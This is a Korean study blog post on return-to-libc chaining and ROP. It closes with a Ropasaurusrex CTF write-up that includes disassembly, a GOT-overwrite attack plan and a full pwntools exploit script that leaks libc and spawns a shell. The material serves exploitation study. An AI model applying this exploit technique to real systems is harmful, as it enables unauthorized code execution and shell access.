rtl, rtl chaining, rop 는 거의 비슷하다.
chaining 되는 함수의 종류에 따라 다른 것.
What is RTL Chaining
system(”/bin/sh”)을 호출하는 것이 최종 목표라면 system(”/bin/sh”)을 호출하기 위해 system과 “/bin/sh”가 필요함
RTL에서는 system과 “/bin/sh”을 정적으로 찾았지만 system과 “/bin/sh”을 모를 경우 “/bin/sh”을 프로그램이 싫애되는 동안 적어주고 system의 주소를 알아내야한다.
이때는 한번의 RTL로 쉘을 따기 힘들기 때문에 RTL을 연계하여 프로그램을 지속적으로 흐르게 해야한다.
x86 rtl
RTL에서 ret부분에 다음 함수의 주소를 넣어주면 된다.
하지만 pop ret; 과 같은 가젯을 사용해서 이전 함수에서 사용한 인자들을 정리한 후 ret 부분에서 다시 특정 함수를 호출한다.
연쇄적으로 RTL을 수행하기 위해서는 ppr(pop-pop-ret) 가젯이 필요하다.
pop의 갯수는 필요한 인자값에 따라 달라진다.
기존 x86 RTL이다
buf | buf |
---|---|
sfp | sfp |
ret | system() |
par1 | dummy(ret) |
par2 | /bin/sh |
기존에는 ret부분의 system()이 실행되고 /bin/sh를 참조한다.
RTL Chaining이 적용된 스택
buf | buf |
---|---|
sfp | sfp |
system() | Func1() |
dummy(ret) | ppr gadget |
/bin/sh | par1(pop) |
par2(pop) | |
func2() | |
dummy | |
par1 |
func1(인자가 2개)이 실행되고 par1 par2을 pop으로 정리하고 func2를 ret으로 실행한다.
보통 setreuid 함수를 사용한다고 한다.
x64 rtl
x86과 함수 인자 전달이 다르기 때문에 이에 따라 페이로드를 다르게 작성해주어야 한다.
기본 x64 rtl 은
sfp |
---|
pop rdi; pop rsi; ret |
par1 |
para2 |
func() |
인데
이를 rtl chaining 하려면 단순하게 rtl을 이어 붙여주면 된다.
x86 ROP
일반적인 RTL chaining 과 비슷하다.
x64 RTL 하듯이 하면 된다.
x64 ROP
x64 도 비슷하긴 한데
호출규약 때문에 피연산자가 중요하다.
보통 pr, ppr, pppr 가젯을 사용하는데
함수 호출 규약에 맞춰서 가젯을 사용해줘야 한다.
직접 ROP 가젯 찾기
objdump 를 이용해서 찾는 방법
objdump -d "파일명" | grep -B(숫자) "가젯명"
-d : 디스어셈블 작업할 때 사용
grep -B 패턴이 매치된 각 라인 기준으로 (숫자) 만큼의 줄을 출력
이런식으로 찾아도 되고
ROP_gadget 이나 rp++ 을 사용하면 된다.
Ropasaurusrex write up
뭘 입력하던 WIN을 출력한다.
IDA
심볼테이블이 없어서 IDA로 진행했다.
.text:0804841D main proc near ; DATA XREF: start+17↑o
.text:0804841D push ebp
.text:0804841E mov ebp, esp
.text:08048420 and esp, 0FFFFFFF0h
.text:08048423 sub esp, 10h
.text:08048426 call sub_80483F4
.text:0804842B mov dword ptr [esp+8], 4 ; n
.text:08048433 mov dword ptr [esp+4], offset aWin ; "WIN\n"
.text:0804843B mov dword ptr [esp], 1 ; fd
.text:08048442 call _write
.text:08048447 leave
.text:08048448 retn
.text:08048448 main endp
ssize_t __cdecl main()
{
sub_80483F4();
return write(1, "WIN\n", 4u);
}
.text:080483F4
.text:080483F4 sub_80483F4 proc near ; CODE XREF: main+9↓p
.text:080483F4
.text:080483F4 buf = byte ptr -88h
.text:080483F4
.text:080483F4 push ebp
.text:080483F5 mov ebp, esp
.text:080483F7 sub esp, 98h
.text:080483FD mov dword ptr [esp+8], 100h ; nbytes
.text:08048405 lea eax, [ebp+0x88]
.text:0804840B mov [esp+4], eax ; buf
.text:0804840F mov dword ptr [esp], 0 ; fd
.text:08048416 call _read
.text:0804841B leave
.text:0804841C retn
.text:0804841C sub_80483F4 endp
.text:0804841C
.text:0804841D
ssize_t sub_80483F4()
{
char buf; // [esp+10h] [ebp-88h]
return read(0, &buf, 0x100u);
}
buf size는 0x88이다.
공격 방법
- libc base address를 구한다.
- system에 사용할 ‘/bin/sh’를 저장해준다 (.bss 영역 alsr에 의해 주소가 변하지 않기 때문) elf헤더에 의해 오프셋이 정의되어 있음 그리고 쓰기권한이 있는 곳이면 다 가능한데 제일 잘보이는게 bss이기때문
- system의 실제 주소를 구한다.
- read_got 를 system의 실제주소로 got overwrite를 해준다
- read를 호출하면 system이 호출되고 read를 호출하면서 스택에는 system에서 쓸 인자를 넣어준다.
- libc base address를 구한다.
read_got 위치에 read 함수의 실제 주소가 저장된다.
write로 read_got에 있는 read함수의 실제 주소를 알아낸다.
libc base address 는
함수 실제주소 - offset = libc base address - libc base address에 원하는 함수의 offset을 더해주면 해당 함수의 실제주소가 된다.
buf [0x88] |
---|
sfp [0x4] |
read_plt |
pppr gadget |
stdin |
bss |
len(str(binsh)) |
write_plt |
pppr |
stdout |
read_got |
4 |
read_plt |
pppr |
stdin |
read_plt |
0xaaaabbbb |
bss |
\n |
binsh |
system_addr |
from pwn import *
#context.log_level = 'debug'
system_off = 0x48150
read_off = 0x10a0c0
read_plt = 0x0804832c
read_got = 0x0804961c
write_off = 0x10a190
write_plt = 0x0804830C
bss = 0x08049628
pppr = 0x80484b6
binsh = "/bin/sh\x00"
buf = b'A' * 0x88 + b'B' * 0x4
stdin = 0
stdout = 1
p = process('./ropasaurusrex')
payload = buf
# libc base address 구하기 read 실제주소 출력
payload += p32(write_plt) # write(fd,*buf, size)
payload += p32(pppr)
payload += p32(stdout) #fd 1 : 표준 출력
payload += p32(read_got)
payload += p32(4)
# bss에 /bin/sh 쓰기
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin) #fd 0 : 표준입력
payload += p32(bss)
payload += p32(len(str(binsh)))
#got overwrite read_got를 system으로 덮어씀
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(4)
# system 실행
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(bss)
#pause()
p.sendline(payload)
read_addr = u32(p.recv(4))
print('[+]')
#libc base구하기
libc_base = read_addr - read_off
#system address 구하기
system_addr = libc_base + system_off
p.send(binsh)
p.sendline(p32(system_addr))
p.interactive()
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 12.3. SROP (0) | 2023.09.24 |
---|---|
[TOOR] 12.2 rop_2 write_up (0) | 2023.09.24 |
[TOOR] 11.2. One (Shot) gadget (0) | 2023.09.24 |
[TOOR] 11.1. GOT Overwrite (0) | 2023.09.24 |
[TOOR] 9.3. aslr_2 write up (미완) (0) | 2023.09.24 |